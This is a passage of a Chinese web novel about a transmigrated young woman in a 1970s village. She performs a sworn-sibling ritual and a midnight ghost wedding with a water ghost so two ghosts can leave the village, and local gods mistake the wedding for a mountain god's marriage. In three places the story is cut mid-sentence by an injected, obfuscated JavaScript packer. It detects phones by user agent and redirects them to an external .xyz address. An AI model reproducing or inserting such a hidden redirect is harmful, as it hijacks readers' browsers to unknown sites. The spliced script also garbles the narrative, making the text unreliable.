一想到要先收集到木材、再进行拜把子、立牌位这一系列的事情,钟颖忍不住想要跳关,又提议道,“或者我们再换个思路?拜干娘行吗?这样你们把自己的牌位从各自家里偷出来就行。” 李霖时和李长贵的牌位都是爹娘立的,按照惯例都是刻的“儿某某某之位”,钟颖想要拿来直接用,她也不介意多两个好大儿,这样就不用给他们再创“小号”了。 她是不介意,但不代表两鬼不介意。 李霖时只用他那双死人眼冷冷看着钟颖。 李长贵难以置信,他听到了什么? “我们可是平辈!”李长贵抗议,“我怎么可能认你当干娘!” “我就说说。”钟颖面色自若,仿佛刚刚出馊主意的人不是她似的。 颖山上草木茂盛,鲜少人类活动的迹象,就连路都只有窄窄一条,是只有四脚兽才能踩出的宽度。 钟颖踩在那勉强只容一人行走的羊肠小道上,一路上看到了生长在树木根部的蘑菇、土里冒头的小竹笋、成片生长的野菜……她随手从枝头摘下了一颗毛樱桃塞进嘴里,甘甜的汁水在齿间炸开,令钟颖不禁发自内心的感慨,同甘生产队的人们对颖山是有多么的敬畏,居然能放着这样一座“宝山”,只在山脚捡捡柴火。 寻找木材的后半程气氛变得安静多了,钟颖忙着嚼嚼嚼,嘴巴被毛樱桃、野树莓、灯笼果、野葡萄占得满满的,根本顾不上说话。没办法,要不是她这次是偷偷摸上山的,高低要把背后的草筐装满,现在只能把嘴填满了。 曹芳的生活经验最多,她飘在前面辨认着树木品种,直走过半山坡,才终于找到了松树,“找到了!” 李霖时见钟颖嘴巴没停,只点点头,回头朝他看了一眼,眼神示意让他把她背上草筐里的劈柴斧拿出来,指使人都这般理直气壮。 钟颖当然理直气壮了,现在是李霖时的堂弟要圆梦,又不是她堂弟要圆梦,她能掺一脚来帮忙已经是很好心了,总不能指望她像个任劳任怨的圣母,把事情全包揽了吧。 李长贵见钟颖一个眼神,他四堂哥就默默伸手把劈柴斧拿了出来,更加深信不疑自己那套想法,毕竟他娘单淑惠一个眼神都指使不动他爹李阳,这证明什么,这证明他四堂哥被钟颖吃得死死的。 李霖时要是会读心,怕是会无语的解释一番,他只是觉得毕竟是他堂弟的事,不好总是麻烦别人,他出个力也是应该的。 可惜他的技能全点在了水上。 李霖时握着劈柴斧头,走到松树前作势就要朝最粗的一根枝杈砍去。 “等等,你砍这么粗一根木头请问我怎么带回去?”钟颖扬起假笑,“被人看到我该怎么解释?” 李霖时的动作停住了。 钟颖抬手挡在额前,视线在面前的松树上搜罗一圈,指着稍细一些的树枝说,“砍那根吧。” 曹芳飘上去看了看,“大侄女,这根树枝这么细,都没有牌位宽。” “我就打算做个小的,我总不能真那么明目张胆的捧着两个牌位出去。”钟颖说,“做个小的我还能塞兜里。” 曹芳一脸的恍然大悟,“你说得对,其实也没人规定牌位到底要做多大,只是人人都那么做,把我也给框住了,还是你们年轻人脑子灵活。” 李长贵一脸难言的看着曹芳,还是很不适应她顶着一张看着像姐姐的脸却说着长辈的话。 等李霖时把松树枝杈砍下来,李长贵又接手将其劈成几段,伪装成普通柴火塞进钟颖背着的筐子里。 “嗝~”钟颖打了个嗝,等他们干活的时间她又吃了不少野果子,自然的像回到自己家一样,随手一拿就塞嘴里了。 就是手上沾了些果子的汁水,黏黏糊糊的,钟颖左右看看,附近林子里也没有水,四下望去唯一和水能沾上边的就只有…… 钟颖背着筐子凑到李霖时跟前,试探的问,“能给我来点水洗手吗?” 李霖时看着伸到自己面前的手,突然发现钟颖不应该属猪,应该属猴才对,上杆子就往上爬,得寸进尺说的就是她。 见他不说话,钟颖讪讪收回自己的手,“不行就不行呗……” 下一秒她的指尖却被攥住。 不过很快李霖时就松开了手,接着一股带着凉意的河水浇到她的手心,钟颖连忙趁着这股水流两手揉搓,动作麻利的把手洗干净。 李长贵还是头一次亲眼看他四堂哥的这种诡异能力,在见到水流凭空出现后便睁大了双眼。 钟颖洗去了粘腻,随意甩了甩手上的水,开口道,“我们下山——” 剩下的话突然卡在了她的嗓子眼里。 一片苍绿色的山林中出现了另一种颜色,掉落在地的枝桠被一脚踩断,发出清脆的嘎吱声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487463|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钟颖瞳孔放大,整个人像被震住一般僵立在原地,只能看着那肌肉线条流畅的四肢迈着稳健有力的步子,渐渐完全显露出它雄健又庞大的身躯。 吊睛黑纹,通体的毛发是像雪一般的白色,头圆吻宽,即使相隔数十米的距离,那种恐怖又强势的压迫感仍扑面而来。 “我勒个去!”钟颖吓得冷汗直冒,汗毛竖起,那虎头都有脸盆一样大了,张开嘴一口怕是能咬掉她半个身子,“我以为说山上有野兽是一种夸张的、吓唬小孩的修辞手法!” 原来是一点都没说错啊!还说轻了!要早知道山上有老虎,她就在山脚下等他们,让几只鬼自己上山了! 那白虎定睛一看,顿时目光变得凛冽凶狠,鼻子皱起,发出一声愤怒恐吓的虎啸,霎那间山林之中无数飞鸟惊慌飞出,小动物们仓皇奔逃。 钟颖更是吓破了胆,一下就跳到旁边的水鬼身上,仿佛抓住了救命稻草,“快快快,用你的那招把我再抡河里去!它咬不着你们这些鬼,可我这个人是实打实的肉啊!” “快点!这点距离它三两步就跑过来了!”钟颖的声音都变了调。 像是证实她的话一般,白虎向后倒退一步俯低身子,接着便如同闪电般向前冲来。 钟颖下意识的侧头回避,双眼紧紧闭上,下一刻水从四面八方涌来,这一次她却瞬间松了一口气,钟颖突然觉得河水略带压迫感、透不过气来的包围令她很是安心。 白虎扑了个空,恼怒的用爪子在地上狠狠刨了一下,留下几道深深的痕迹。 李长贵傻眼,怔愣在原地,不敢相信自己刚刚看到的。一秒钟的功夫他四堂哥就揽住钟颖的腰,化作一团水裹挟住她,瞬息间融进土地中消失不见。 不是?他哥也太干脆了吧?李长贵已经有认知他四堂哥是身心系于钟颖,可如此干脆的见色忘弟,就这么把他给扔下了? 白虎扭头,又愤怒的虎啸一声。 “不好,它能看见我们!”曹芳油然而生一种危机感,莫名的觉得要是被这老虎咬上一口或挠一爪子绝不会是什么好事,她一把揪住还在愣神的李长贵,像提溜小鸡仔一般揪着他的脖子转身飞跃下山。 被拽着奔逃的李长贵被迫魂在前面飞,长长的舌头在后面追,“啊啊啊——” 山脚下,正在田间劳作的生产队众人也听到了这两声可怖的虎啸声,有孩子的几个媳妇们纷纷吓白了脸,不知道是哪个孩子又不听大人的话偷跑上山了。 田梅满眼仓皇的扭头去看李明,“爹,我想回去看一眼光宗……” 见其他的妇人也殷切的看着他,李明也不是不通人情的生产队队长,他摆了摆手,“想回去的,就都回去看一眼,确认孩子没事了,安下心来再回来继续干活。” 这话一出,几个媳妇顾不上别的,纷纷放下手里的农具就往村子里跑去。 邓霞看着她们慌张的身影,不禁有些唏嘘,曾几何时她也是这副样子,她大儿子曾经就是村子里胆子最大的孩子,几次上山,吓得她恨不得把他的腿打断! 不过现在好了,邓霞长舒一口气,最调皮捣蛋的钟诚长大成人了,小儿子钟信从小就是个老实孩子,她闺女钟颖,这么大一个姑娘了,更不会像个皮小子一样往山上跑。 邓霞啧了一声,摇了摇头,“也不知道是谁家的孩子,这么不让爹娘省心,造孽哟。” 22. 拜把子 邓霞下了工回到家还在说这事,“各家都回去看了,都说不是自己的小孩上了山,也不知道这有什么好瞒的,要我说,惹了山君发怒还能死里逃生,大家伙儿都该道喜。” 真·死里逃生的钟颖对此只露出了尴尬而不失礼貌的微笑。 邓霞才注意到女儿头发是湿的,身上衣服也换了,她奇道,“怎么大下午的洗头洗澡?” 钟颖不能如实说自己是掉进了河里,只能打哈哈,“天太热了,天天一身的汗,我忍不了了,下午有空就先洗了。” “娘,为什么管山上的老虎叫山君啊?”钟颖转移话题,当然她也是真的有些好奇。 “咱们颖山上那可不是寻常老虎,有人见过,是一只白虎!”邓霞说着,一边走进厨房准备做晚饭,“大家都说这白虎是山神娘娘派来人间的使者,管着山上的各种野兽,几十年来山上从来没有下来过黄鼠狼之类的野兽偷吃人养的鸡,所以人们才尊称它一声‘山君’。” 钟颖听得聚精会神,原来是这样,人们敬怕颖山上的猛兽,鲜少上山;而颖山上的野兽也从不攻击山脚下的村落,两者奇异的形成一种互不侵犯的和谐共处。 邓霞见女儿跟着自己进了厨房,立时将钟颖撵了出去,“不是刚洗过澡了,快出去!” 苗素云拿着从屋后自留地摘的小葱走到厨房门口,闻言抿唇一笑,“小妹,你出去吧,别又热出一身的汗,我来帮忙就行。” 钟颖只能退出了厨房,这巴掌大的屋子还真容不下三个人。 到了晚上,夜深人静,人们都睡下了,钟颖却衣着齐整,硬是挤在红糖的狗窝里,靠着大黑狗打瞌睡。她的生物钟已经在这个时代被向前拨了大半圈,要像再像现代时那样熬夜,钟颖还真有点熬不住。 红糖鼻子一动,立刻警觉的醒来,从趴伏猛地变成站起身来,令靠着它的钟颖一个踉跄,也跟着惊醒过来。 李霖时瞥了一眼身后的李长贵,接着抬脚走到屋门前,难得规规矩矩的没有硬闯,只站在外面叫里面的人,“钟颖。” 红糖就要张口吠叫,却被人眼疾手快的一把攥住嘴筒子。 “嘘,”钟颖可不想让已经睡熟的家人们都醒过来,压低声音对着大黑狗叮嘱着,“别叫,都是自己人。” 她顿了一下,改口,“都是自己鬼。” 李霖时见无人回应,以为钟颖是睡着了,又叫了一声,“钟颖。” 屋门上方一块不算大的四方玻璃透出外面的影影绰绰,还一声叫着一声的名字,就算是钟颖知道外面是谁,也被这极像恐怖片的瘆人桥段激得竖起一身的汗毛。 钟颖见红糖安静下来,这才慢慢松开了手,她起身朝门口走去,快速搓了搓胳膊,拉开了屋门,“别喊我了,半夜鬼在门外叫人名字很吓人的好吗?” 把胳膊上的汗毛全部压下去,钟颖忍不住抱怨,“以前不都是直接进,也没见你这么礼貌……” 李长贵一听这话,目光立刻在他四堂哥和钟颖之间扫过,仿佛二人脑袋上徐徐升起两个大字——“奸、情”。 李霖时默默无言。 钟颖也不是要讨个说法,只不过随口抱怨一句,现在还是正事要紧,她问,“东西带来了吗?” 李霖时点了下头,两手一翻,手上出现三个小酒盅杯子和一个拧着盖的绿玻璃瓶,这是他回他自己家悄悄拿的,他爹李明过年时打的酒,现在还剩小半瓶。 盖子一拧开,浓烈的酒味就涌了出来,小酒盅容量很小,倒进去的酒也就一口的量。 没吃过猪肉、只见过猪跑,钟颖只在电视剧里见过拜把子这事,皎皎月光透过大敞的屋门洒进来,落在她的身上,她按照记忆照葫芦画瓢的端着酒盅跪在屋中空地上。 李霖时和李长贵如同她一般端着酒盅跪在她两侧。 红糖安安静静的趴在旧棉袄的窝里,看着钟颖在屋里跪下,它看不见别的,只能闻到一种河水味和另一种有些陌生的气味。 “苍天在上,厚土在下,”拜把子这事太中二了,钟颖努力憋笑,正色念着词,“今日我们三个在此结为异姓姐弟,大姐钟颖——” 接话的却是李长贵,他疑惑的“咦”了一声,扭头去看钟颖,“不对吧,按照年龄,咱仨里不应该是我四堂哥最大?” 李长贵的认知里,自然是该二十二岁的堂哥为大,然后是二十一岁的钟颖,再是十九岁的他。 “我当然是最大的。”钟颖说,按照死时的年龄,在场的各位都是弟弟。 她腾出一只手,五指张开对着深谙内情的李霖时示意,她可是比他大五岁。 咫尺之间,她那双眼眸灵动的仿佛会说话一般,李霖时闪躲着垂下眼眸,睫毛微颤。 李长贵见他堂哥居然就这么默认下来,又一次难以置信。 不是,哥?你?她扬起一个巴掌,你就不敢吭声了? 李长贵无话可说,算了,一个愿打一个愿挨,反正怎么样他都是最小的那个。 “大姐,钟颖。” “行二,李霖时。” “三弟,李长贵。” “不求同年同月同日生,”钟颖顿了顿,把接下来的半句稍微改了一下,“也不求同年同月同日死。” 李霖时和李长贵同时看向她。 钟颖理直气壮,“看我干嘛?你们都已经死了。” 她这句大实话让两鬼一时都无话可说。 钟颖端着小酒盅仰头一口闷,处理粗糙的白酒带着一种霸道的辛辣,令她忍不住的嘶气。 李霖时喉结滚动,两口喝完了盅中酒,如泥牛入海,融入河水之中。 而对于李长贵来说,就像那句话说的,酒肉穿肠过,尽数撒在了夯土地面上。 钟颖看着地面上一小滩被酒液的深色痕迹,很快安慰道,“没事,心意到了就行。” 李长贵却没有像她那样乐观,总觉得心里没底,“这样子真的能行吗?” 钟颖撑着膝盖踉跄着站起来,“行!怎么不行!你放心,姐一定让你出去看一眼所校——” 大着舌头说完,钟颖身形一晃,脚一软向后倒退一步,腿弯磕到木板床边,就这样一头栽倒在床。 李长贵站起来,忍不住的羡慕,“做人真好,能倒头就睡。” 李霖时也站起身来,“我们走吧。” 李长贵应了一声,把酒盅、酒瓶拿起来,转身抬脚就走出了屋子。 李霖时握住门把手,在屋门关上的前一瞬,他抬眸,视线不禁落到躺在床上的钟颖身上,缓缓把门关上。 等门彻底关上,床边的大黑狗才把头低下去,压在爪子上面,阖上了眼睛。 第二天早上,钟颖醒过来后,太阳穴一跳一跳的,头隐隐作痛,她也没想到自己一杯就倒,一定不是她身体太菜了,而是这时候的酒酿造的不纯。 接下来的事情就是刻牌位了。 钟颖一口气吹掉四方木板上的木屑,“义弟李霖时之牌位”几个字清晰显露。 “就这一个牌位我躲在屋里刻了整整一天半!还好我不是什么勤快人设,躲懒不去上工我爹娘也由着我,不然哪来的时间搞这个。”钟颖忍不住抱怨,“不过你名字也太多笔画了,你为什么不叫李一一?” 这样她就可以少刻二十一道笔画了! 李长贵抢先说道,“那可不行!我大伯特意找三姑婆算的,我哥五行缺水,就需要个和‘水’沾边的字补一补。” 钟颖面无表情的看向李霖时,手里还攥着刻刀,“那你为什么不叫李一水。” 这样也只有十二画,而不是“李霖时”三个字加起来的足足三十画。 “我大伯家的几个堂哥都是‘时’字辈的,”李长贵掰着手指头说,“大堂哥叫李钢时,二堂哥叫李荣时。” 钟颖弯腰去拿另一块木板的动作一顿,“你大堂哥该不会是五行缺金,你二堂哥五行缺木?” “对啊。”李长贵点点头。 钟颖忍不住又去看李霖时,“你确定三姑婆真的会算?姓李,你大哥是金,你二哥是木……” 这也太容易让人想起神话故事里同姓的那一家子了,好像那一家也是三子一女。 李霖时很快听懂了她话里的意思,这一刻神奇的与她思想同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497524|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频,“……应该就只是巧合。” “啧,巧得有点吓人了。”钟颖咋舌,“同样是第三个儿子死了,一个是死后以莲花化作身体,而你,算是用河水化作身体吗?简直像是谶语。” 两人前面的话李长贵听不明白,最后一个词他可知道,“其实我爹也这么说过。” 李长贵小心的瞟了李霖时一眼,“四堂哥死后,我听我爹私下在家里说了那么一句,说是大伯起的名不好,‘霖’字太大,一般人压不住,所以才害得四堂哥死在了甘霖河里。我爹还说,还好他给我取名的时候没搞这些花里胡哨的……” “迷信。”钟颖翻了个白眼,“那我名字还是颖山的‘颖’呢,是山不够高?还是山不够有份量?也没见我死在山里。” 李长贵瞪大了双眼,“姐!快呸呸呸!这种话你都敢说!” 钟颖无所谓的耸耸肩,也就过去的人注重言语上避谶,现代人动不动就是“哥哥好帅,我要死了”、“哈哈哈笑死了”、“fuck又加班,好想死一死”之类的话挂在嘴边。 李霖时站在旁边冷眼旁观,越与钟颖接触,他越能察觉到,这具身体里存在着一个独特的灵魂,不信神鬼更信自己、敢想敢做,她确实不像是这个时代长大的人。 又刻了一天钟颖才把李长贵的牌位刻好,他的名字比他堂哥名字的笔画少一些,但也没少太多,所以李长贵同样收获了一句“为什么你不叫李一一”的怨气质问。 “社员们注意了,后天去交公粮——都早点起——”李明下午去公社开会,回来就立马在同甘生产队走街串巷的通知着人们。 邓霞从厨房里立刻钻了出来,听得更真切了,她面色一喜,“太好了,交完公粮就能给各家分粮食了!” 钟颖也是心头一喜,看向两鬼,“太好了,可以‘搭便车’去公社了!” 李长贵不解,“姐,拿回儿去交公粮不是走着去公社粮管所的,咱们生产队牛车还要用来载粮食,肯定不能让你坐。” 钟颖懒得和他解释“搭便车”到底是什么意思,她只兴奋的看向李霖时,“我们马上就去试试看你们能不能出去,等交公粮的时候就跟着其他人一起去公社!” 李霖时点点头。 “娘,我去河边洗衣服!”钟颖把两个牌位盖在衣服底下,抱着胡乱塞了几件衣服的脸盆就往外跑。 邓霞都来不及拦她,只能冲着她的背影喊,“马上要吃饭了!” 钟颖头都不回,“我很快就回来——” 真的在河边洗衣服的钟妮抬头看见钟颖,远远朝她挥手打招呼。 钟颖也朝她使劲挥了挥手,却没有走到河边,反而继续向前走。 “堂姐她抱着盆子不是来河边洗衣服吗?”钟妮疑惑不解的喃喃自语。 飘在她身后的女鬼身随心动,幽幽朝钟颖飘去。 “大侄女,”曹芳追上钟颖,好奇的问道,“你这是牌位都刻好了?” “嗯!”钟颖重重的点了下头,“可算是弄完了!我们这就要去试试看能不能出去,要是可以的话交公粮那天就可以去公社了!” 曹芳听得也不由得心动,要是真能行的话,她是不是也可以托侄女和妮儿说一句,让闺女带着自己的牌位,这样她也能出去看看。十六年了,也不知道外面都发展成什么样子了…… 就这样,钟颖一人走在前面,身后浩浩荡荡跟了三只鬼。 经过村口界碑石,钟颖又走出几步远,这才停下脚步,抱着脸盆转过身来,对着李霖时和李长贵两鬼说,“你们试试能出来吗?” 李长贵按捺不住的激动,比起生前痛苦无望的一天天挨日子,死后他反而有了奔头,反倒有种活着的感觉。 他立刻追随着钟颖的脚步向外走,可在就要走过青石碑旁时,那一步怎么都迈不出去。 李霖时试了一下,也是不行。 曹芳在一旁看着,推测道,“会不会是拜把子不管用?是不是还是只有拜天地是作数的?” 李长贵眼巴巴看着钟颖,“嫂子——” 钟颖扶额,只觉脑壳疼,现在反悔撂挑子行不行? 23. 拜天地 “要不是先前是我先说的要帮你,这时候我肯定不干了!”钟颖暗恨,回想起来只觉当时自己像鬼迷心窍一般,怎么就那么轻易的承诺帮李长贵实现遗愿。 李长贵有些谄媚的扬起笑脸,“姐,不是,堂嫂,这不过是走个过场。” 钟颖呼出一口气,要不是走个过场,她现在真就不干了,她不可能为了帮别人把自己搭进去。 李长贵怕钟颖真的撂挑子,毕竟现在能看得见他、能帮他的人也就只有钟颖一人,“这事天知地知,你知鬼知,是不会耽误你往后正常婚嫁的,我和我哥早晚都会去投胎的。” 李霖时看着他堂弟,目光阴沉冷冽。 李长贵只觉后脖颈发凉,扭头一看,就见他哥这一动不动的瘆人注视,他心里发怵,吓得不由得向后倒退一步,连忙找补,“哥,你了了心愿就也去投胎吧,人鬼到底是殊途……” 浓墨般的眼眸恢复了些清明,李霖时明白堂弟说的话其实没有错,就是……难听。 “快快快,别说些有的没的了,”钟颖催促着,既然非要走这一遭,那不如速战速决,“都这么晚了,早点弄完我睡觉,明天还要重新刻牌位。” 一想到这个,钟颖身上的怨气比鬼都强烈,没有什么比返工重做更令人窝火的了。 又是深更半夜,地点仍是钟颖的屋子里,屋门大敞,但这次屋里的鬼多了一只,红糖闻到又一种陌生的味道,它本想叫,却又一次被握住了嘴筒子。 曹芳忍不住挺直身板,紧张到手足无措的捋平身上的衣服,眉眼间却带着兴奋的喜色,“我还是头一回给人证婚呢,哎这都十六年了,没想到我还能有亲身参与进喜事的时候。” 作为钟颖的大伯娘,曹芳是长辈,也是唯一能参与进这桩人鬼婚事的长辈,于是便让她来当了这证婚人和高堂。 钟颖和李霖时相对而站,她只觉哪儿都不得劲,即使面对一张非常在她审美点上的脸,钟颖也觉得怪异极了,一个多月以前一人一鬼还是绝地求生与磨刀霍霍,现在却面对面站着准备拜天地? 世上再荒诞不过的事情了。 钟颖忍耐道,“都是为了你堂弟。” 距离太近了,不过咫尺,李霖时垂下眼,平静重复道,“为了我堂弟。” 李长贵在一旁观礼,他看看钟颖,又看看李霖时,疑惑的抬手挠了下脸,怎么回事?怎么双方都没个笑模样?按照他以为的那样,对他堂哥、对钟颖来说,这场仪式应该是弥补了他们的遗憾才对啊,现在不应该执手相看泪眼吗? 曹芳清了清嗓子,用清亮的声音扬声道,“一拜天地。” 钟颖和李霖时默默同时转身,面向门外高悬着月亮的夜空,双双俯身一拜。 “二拜高堂。” 看着向她俯身一拜的年轻男女,曹芳不禁感慨万千,在身死那刻后,她便永远都失去了端坐高堂,接受儿女一拜的机会,没想到此时此刻还能有侄女、侄女婿的一拜…… 曹芳抿紧唇,笑眼中盈上点点泪光,突然觉得胸口闷着的遗憾去了一半,等亲眼见女儿钟妮嫁人后,她的心事全去了,她就真的要去投胎了。 “夫妻对拜——”曹芳控制了一下自己的情绪,将仪式的最后一步念出。 钟颖又转向与李霖时面对面相对而站,看他一眼,俯身,再一次在心中腹诽,这都叫什么事啊。 起身后,钟颖觉得整个仪式就像是小孩子办家家酒,这次心里没底的人反倒成了她,“这真的能行吗?” “应该……是成了。”李霖时抬起自己的左手,只见手腕处不知何时突然多了一条细细的红色头绳,在苍白的皮肤和青色血管的映衬下,这抹色彩显得诡谲妖异。 “我的头绳!”钟颖下意识去摸自己头发,左右两个麻花辫尾端仍好好扎着红头绳,没有少任何一个,可明眼人都能看出,李霖时手腕上的红头绳和钟颖扎麻花辫用的红头绳是一模一样。 李长贵来回看着,疑惑不解,“这怎么还像狗占地盘一样留个记号?” 钟颖扭头,面无表情的冷冷盯着他,说谁是狗? 李霖时也用死气沉沉的眼睛看过去,他不是被尿的地。 说错话的李长贵缩着脖子,眼神躲闪。 曹芳出来打圆场,“哎呀,别管这是怎么回事,反正这东西的奇怪出现不正代表着这拜天地,天地认了吗?那这回肯定能成功离开生产队的!” “也是。”钟颖妥协道,反正手上多了个红头绳的又不是她。 夜空中突然哗啦啦下起雨来,钟颖连忙去把屋门关上,奇道,“这雨怎么下得这么突然?” 雨点打在瓦片上的声音令沉睡着的李明瞬间惊醒,他就要起身往外冲,后一步苏醒的脑子又拦住了他。 李明松了口气,又躺了回去,“还好麦子都已经晒完收进仓了……” 莫名的疾雨落在土地上,一砸一个小坑,夜色下,泥泞的土地中突然钻出一个看着有五十多岁的妇女,身量不高,浑身都被雨水浇湿了,她却毫无避雨的动作,只抬起手去接那雨滴,闭上眼静静感受着什么。 半晌后,她猛地睁开眼,脸上满是惊诧,“山神娶亲?” 同一时间,金色的鲤鱼跃出小湖洼的水面、梅姐岭上一截盘虬卧龙的枝桠变成弯曲的手臂…… “榆钱洼的守护神是鱼灵,梅姐岭的守护神是死后成神;盘坡口的药神已经没了……”胡坤欣,也就是砬弯沟人们信奉的土地公,她惊诧过后就掰着手指头在这儿数,天地降下甘霖,通知山神娶亲的喜讯,那她同为一方守护神,必然要向同僚道喜。 这阵雨下得急、停得也快,胡坤欣眉头紧皱,“到底是哪个山头的神?怎么大半夜的娶亲?” 婚礼,自“昏礼”演变而来,黄昏时行婚嫁之事是天地之间的惯例,可拖到都快后半夜办的喜事,胡坤欣担“土地公”一职的几百年来都还是头一回知道。 胡坤欣数来数去,颖山山神入世,这片地界能尊称一声“山神”的,也就只有黑驴山那老驴了。 “啧,”胡坤欣咋舌,“那老驴还是和生产队的母驴搞到一起了?!” 如果是这样的话,那大半夜娶亲也不算什么离奇的事了。 有更离奇的事情在前,稍显奇怪的事情都变得容易接受了,胡坤欣的关注点全挪到黑驴山的山神娶了生产队的母驴这桩夺人眼球的轶闻上了,她一整衣裳,水汽瞬间消散,立刻启程去吃瓜,咳,去道喜。 黑驴山远看形似一只卧着的驴子,曾有人在夜色中远远将山影误认成一只黑色的驴子,说出去令人发笑,口口相传,自此之后人们便将这座山称为黑驴山。 黑驴山的山神也觉得自己是只驴子,但他偏偏是座山,不愿接受现实的山神在自己的实体中寻了个山洞,大多数时候都化形成一只黑毛野驴,住在山洞之中。 他这样行事也不算太出格,各方守护神自有生存之道,有喜欢当“人”、待在人类社会中的,例如砬弯沟的那位土地公; 也有藏身于湖水里、喜欢暗中行观察守护之职的,榆钱洼那位,不过她原本就是鲤鱼成灵,保留原本的生活习性也正常; 梅姐岭的守护神喜欢当树,就在崖下望着沈家沟村,她是个嘴硬心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504227|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软的,明明死得惨烈,却仍热爱这个村子爱到死后都在守护着这方土地。 再就是更远的颖山了,颖山山神顺民意而生不过才几十年,在黑驴山山神眼里还是个娃娃,和他们周家窝窝生产大队里那些在村小读书的小娃娃们一般无二,这些小孩离开家、出门去上学,颖山山神离开颖山、入世历练,差不多意思嘛。 他黑驴山山神都诞生上千年了,算起来都能当她的太爷爷,老头子性情古怪些不是很正常?吕黑心安理得的继续假装自己是一只驴,在自己的窝里团成更舒服的姿势。 突然驴眼一睁,不是他职责所在的周家窝窝生产大队上发生了什么事情,而是吕黑感觉到了有其他守护神来到了他的地界,还不止一个。 黑驴曲着的蹄子伸直蹬地站起,流畅的变成一名穿着无袖对襟汗衫、大裆裤的老农民,他面容严肃,心想这大半夜的,谁惹她们了啊? 吕黑一边往山洞外走,一边思索自己最近没犯什么贱吧?戏谑的故意把土地公叫成土地婆、想试试看鲤鱼成了灵之后能不能在地面上活、树挪了位置她自己能不能再走回去……在这些事情之后,他可就老实了,毕竟他只是一只愚笨的老驴子,只有被打的份儿。 他思考得太过认真,直到一脚踩进泥泞的土里,吕黑才回过神来,“这是什么时候下雨了?” “就刚刚!”一个看起来二十来岁的女人猛地凑到他面前,仿佛看西洋景似的直盯着他,“老黑,你娶了你们生产大队里的母驴?哪一只啊?通灵性了吗?你俩平时都怎么交流感情的啊?” 这一个接一个抛出问题的正是榆钱洼的鱼灵,名叫于灵,她实在是太好奇了,神驴恋!闻所未闻!人都想不出来!她只在书上看过人鬼情未了、人妖相恋、仙女与牛郎之类的故事桥段,但是,驴哎!黑驴山的山神果然在认知扭曲后情感需求也变得扭曲了吗? 吕黑没想到一出来就被“泼一盆子污水”,他气得脸红脖子粗,“谁说的?!” 于灵扭头冲土地公兴奋喊道,“真像你说的,他急了!” 土地公胡坤欣上前,眼中闪烁着八卦的光,“哎呀老黑,你就别不好意思了,天降甘霖,都通知我们山神娶亲的好消息了,我们几个这次来就是来向你道喜的。” “虽说我们不像人一样需要生儿育女、繁衍生息,但如果想要有个感情寄托,也不必非得独身。恭喜你啊老黑,能够找到一个灵魂伴侣,可真令我们羡慕,你眼光独特,也不知道是哪只母驴得你青睐?是驴也没关系,与你这山神待在一起久了,早晚会生出灵志……”胡坤欣翻来覆去说着车轱辘话,但话里的意思都是——能拉出来溜溜,给她们看看吗? 一旁从来面色冷淡的梅姐都忍不住竖起耳朵。 吕黑咬紧牙关,额上青筋显现,“不是我娶亲,我也没娶驴!” 他是觉得驴子是世上最美好的动物。 但他都是一个上千岁的糟老头子山神了,早就没有什么情感需求了!他这个年纪娶亲,这不是为老不尊吗?而且还是娶一只母驴?荒谬!离谱!可笑! 胡坤欣一愣,“不是你啊?” “可不是你的话,没别的山神了啊?”胡坤欣百思不得其解,“总不可能是颖山那位吧?咱们这片能称一声‘山神’的就只有你们二位了,可那位不是入世去了,没听说归位了啊?” 于灵想起一事,附和道,“对啊对啊,上个月我还遇到牛头马面,同甘生产队的一鬼无神看管还跑到我的地界上了!” 几个神灵苦思冥想了一番,最终达成共识,一定是风把乌云吹错了地方!所以才通知错了! 24. 去交粮 交公粮的那天,天色未明,同甘生产队的人们就都忙活起来了。 邓霞急急忙忙将烙好的饼子用干净的笼屉布裹好,“苗儿啊,这些你拿着,还和去年一样,你推着车子,让国强坐上面。” 苗素云应了一声,连忙接过今天一家子的口粮。 钟老爹和钟信把家里的扁担、草筐和小推车都翻找出来,等下要用。 钟颖拿磨面剩的麸皮,用水拌了去喂鸡,她看准鸡食盆的位置接着就阖上眼往里倒,没办法,昨晚她就睡了三个多小时,实在是困得不行。 李霖时就见钟颖一边蹲在那里打瞌睡一边喂鸡,随着她身子不知不觉的歪斜,倒麸皮水的手也跟着挪了位置,就在要倒出去的时候,他忍不住伸手扶住了钟颖手里的瓷碗,这才好险保住了三只鸡的口粮。 钟颖只睁开一道细缝睨了他一眼,就又闭上了眼,直接松了手,继续打瞌睡。 “喂完鸡了没?”邓霞在外面喊,“我们该走了——” “哎马上!”钟颖立刻睁开眼,抢回死鬼手里的瓷碗,起身快步走出鸡圈。 一家子全员出动,邓霞走在最后把家里门关好挂上锁。 走到村口打麦场,就见平地上一片热闹。 